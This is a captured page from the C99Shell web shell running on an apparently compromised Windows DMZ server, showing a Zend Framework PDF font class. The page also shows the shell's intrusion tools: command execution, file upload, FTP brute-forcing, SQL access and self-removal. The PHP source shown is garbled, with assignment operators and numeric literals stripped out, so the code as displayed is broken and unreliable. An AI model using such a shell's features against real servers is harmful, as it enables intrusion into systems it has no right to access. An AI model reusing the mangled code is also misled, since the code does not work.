!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\php\PEAR\Zend\Pdf\Resource\Font\   drwxrwxrwx
Free 7.25 GB of 239.26 GB (3.03%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Extracted.php (10.02 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Zend Framework
 *
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://framework.zend.com/license/new-bsd
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@zend.com so we can send you a copy immediately.
 *
 * @category   Zend
 * @package    Zend_Pdf
 * @subpackage Fonts
 * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 * @version    $Id: Extracted.php 18993 2009-11-15 17:09:16Z alexander $
 */


/** Zend_Pdf_Resource_Font */
require_once 'Zend/Pdf/Resource/Font.php';

/**
 * Extracted fonts implementation
 *
 * Thes class allows to extract fonts already mentioned within PDF document and use them
 * for text drawing.
 *
 * @package    Zend_Pdf
 * @subpackage Fonts
 * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
 * @license    http://framework.zend.com/license/new-bsd     New BSD License
 */
class Zend_Pdf_Resource_Font_Extracted extends Zend_Pdf_Resource_Font
{
    
/**
     * Extracted font encoding
     *
     * Only 'Identity-H' and 'WinAnsiEncoding' encodings are supported now
     *
     * @var string
     */
    
protected $_encoding null;

    
/**
     * Object constructor
     *
     * $fontDictionary is a Zend_Pdf_Element_Reference or Zend_Pdf_Element_Object object
     *
     * @param mixed $fontDictionary
     * @throws Zend_Pdf_Exception
     */
    
public function __construct($fontDictionary)
    {
        
// Extract object factory and resource object from font dirctionary object
        
$this->_objectFactory $fontDictionary->getFactory();
        
$this->_resource      $fontDictionary;

        if (
$fontDictionary->Encoding !== null) {
            
$this->_encoding $fontDictionary->Encoding->value;
        }

        switch (
$fontDictionary->Subtype->value) {
            case 
'Type0':
                
// Composite type 0 font
                
if (count($fontDictionary->DescendantFonts->items) != 1) {
                    
// Multiple descendant fonts are not supported
                    
require_once 'Zend/Pdf/Exception.php';
                    throw new 
Zend_Pdf_Exception('Unsupported font type.');
                }

                
$fontDictionaryIterator $fontDictionary->DescendantFonts->items->getIterator();
                
$fontDictionaryIterator->rewind();
                
$descendantFont $fontDictionaryIterator->current();
                
$fontDescriptor $descendantFont->FontDescriptor;
                break;

            case 
'Type1':
                if (
$fontDictionary->FontDescriptor === null) {
                    
// That's one of the standard fonts
                    
$standardFont Zend_Pdf_Font::fontWithName($fontDictionary->BaseFont->value);

                    
$this->_fontNames          $standardFont->getFontNames();
                    
$this->_isBold             $standardFont->isBold();
                    
$this->_isItalic           $standardFont->isItalic();
                    
$this->_isMonospace        $standardFont->isMonospace();
                    
$this->_underlinePosition  $standardFont->getUnderlinePosition();
                    
$this->_underlineThickness $standardFont->getUnderlineThickness();
                    
$this->_strikePosition     $standardFont->getStrikePosition();
                    
$this->_strikeThickness    $standardFont->getStrikeThickness();
                    
$this->_unitsPerEm         $standardFont->getUnitsPerEm();
                    
$this->_ascent             $standardFont->getAscent();
                    
$this->_descent            $standardFont->getDescent();
                    
$this->_lineGap            $standardFont->getLineGap();

                    return;
                }

                
$fontDescriptor $fontDictionary->FontDescriptor;
                break;

            case 
'TrueType':
                
$fontDescriptor $fontDictionary->FontDescriptor;
                break;

            default:
                require_once 
'Zend/Pdf/Exception.php';
                throw new 
Zend_Pdf_Exception('Unsupported font type.');
        }

        
$this->_fontNames[Zend_Pdf_Font::NAME_POSTSCRIPT]['en'] = iconv('UTF-8''UTF-16BE'$fontDictionary->BaseFont->value);

        
$this->_isBold             false// this property is actually not used anywhere
        
$this->_isItalic           = ( ($fontDescriptor->Flags->value & (<< 6)) != ); // Bit-7 is set
        
$this->_isMonospace        = ( ($fontDescriptor->Flags->value & (<< 0)) != ); // Bit-1 is set
        
$this->_underlinePosition  null// Can't be extracted
        
$this->_underlineThickness null// Can't be extracted
        
$this->_strikePosition     null// Can't be extracted
        
$this->_strikeThickness    null// Can't be extracted
        
$this->_unitsPerEm         null// Can't be extracted
        
$this->_ascent             $fontDescriptor->Ascent->value;
        
$this->_descent            $fontDescriptor->Descent->value;
        
$this->_lineGap            null// Can't be extracted
    
}

    
/**
     * Returns an array of glyph numbers corresponding to the Unicode characters.
     *
     * If a particular character doesn't exist in this font, the special 'missing
     * character glyph' will be substituted.
     *
     * See also {@link glyphNumberForCharacter()}.
     *
     * @param array $characterCodes Array of Unicode character codes (code points).
     * @return array Array of glyph numbers.
     */
    
public function glyphNumbersForCharacters($characterCodes)
    {
        require_once 
'Zend/Pdf/Exception.php';
        throw new 
Zend_Pdf_Exception('Operation is not supported for extracted fonts');
    }

    
/**
     * Returns the glyph number corresponding to the Unicode character.
     *
     * If a particular character doesn't exist in this font, the special 'missing
     * character glyph' will be substituted.
     *
     * See also {@link glyphNumbersForCharacters()} which is optimized for bulk
     * operations.
     *
     * @param integer $characterCode Unicode character code (code point).
     * @return integer Glyph number.
     */
    
public function glyphNumberForCharacter($characterCode)
    {
        require_once 
'Zend/Pdf/Exception.php';
        throw new 
Zend_Pdf_Exception('Operation is not supported for extracted fonts');
    }

    
/**
     * Returns a number between 0 and 1 inclusive that indicates the percentage
     * of characters in the string which are covered by glyphs in this font.
     *
     * Since no one font will contain glyphs for the entire Unicode character
     * range, this method can be used to help locate a suitable font when the
     * actual contents of the string are not known.
     *
     * Note that some fonts lie about the characters they support. Additionally,
     * fonts don't usually contain glyphs for control characters such as tabs
     * and line breaks, so it is rare that you will get back a full 1.0 score.
     * The resulting value should be considered informational only.
     *
     * @param string $string
     * @param string $charEncoding (optional) Character encoding of source text.
     *   If omitted, uses 'current locale'.
     * @return float
     */
    
public function getCoveredPercentage($string$charEncoding '')
    {
        require_once 
'Zend/Pdf/Exception.php';
        throw new 
Zend_Pdf_Exception('Operation is not supported for extracted fonts');
    }

    
/**
     * Returns the widths of the glyphs.
     *
     * The widths are expressed in the font's glyph space. You are responsible
     * for converting to user space as necessary. See {@link unitsPerEm()}.
     *
     * See also {@link widthForGlyph()}.
     *
     * @param array $glyphNumbers Array of glyph numbers.
     * @return array Array of glyph widths (integers).
     * @throws Zend_Pdf_Exception
     */
    
public function widthsForGlyphs($glyphNumbers)
    {
        require_once 
'Zend/Pdf/Exception.php';
        throw new 
Zend_Pdf_Exception('Operation is not supported for extracted fonts');
    }

    
/**
     * Returns the width of the glyph.
     *
     * Like {@link widthsForGlyphs()} but used for one glyph at a time.
     *
     * @param integer $glyphNumber
     * @return integer
     * @throws Zend_Pdf_Exception
     */
    
public function widthForGlyph($glyphNumber)
    {
        require_once 
'Zend/Pdf/Exception.php';
        throw new 
Zend_Pdf_Exception('Operation is not supported for extracted fonts');
    }

    
/**
     * Convert string to the font encoding.
     *
     * The method is used to prepare string for text drawing operators
     *
     * @param string $string
     * @param string $charEncoding Character encoding of source text.
     * @return string
     */
    
public function encodeString($string$charEncoding)
    {
        if (
$this->_encoding == 'Identity-H') {
            return 
iconv($charEncoding'UTF-16BE'$string);
        }

        if (
$this->_encoding == 'WinAnsiEncoding') {
            return 
iconv($charEncoding'CP1252//IGNORE'$string);
        }

        require_once 
'Zend/Pdf/Exception.php';
        throw new 
Zend_Pdf_Exception('Fonf encoding is not supported');
    }

    
/**
     * Convert string from the font encoding.
     *
     * The method is used to convert strings retrieved from existing content streams
     *
     * @param string $string
     * @param string $charEncoding Character encoding of resulting text.
     * @return string
     */
    
public function decodeString($string$charEncoding)
    {
        if (
$this->_encoding == 'Identity-H') {
            return 
iconv('UTF-16BE'$charEncoding$string);
        }

        if (
$this->_encoding == 'WinAnsiEncoding') {
            return 
iconv('CP1252'$charEncoding$string);
        }

        require_once 
'Zend/Pdf/Exception.php';
        throw new 
Zend_Pdf_Exception('Fonf encoding is not supported');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0468 ]--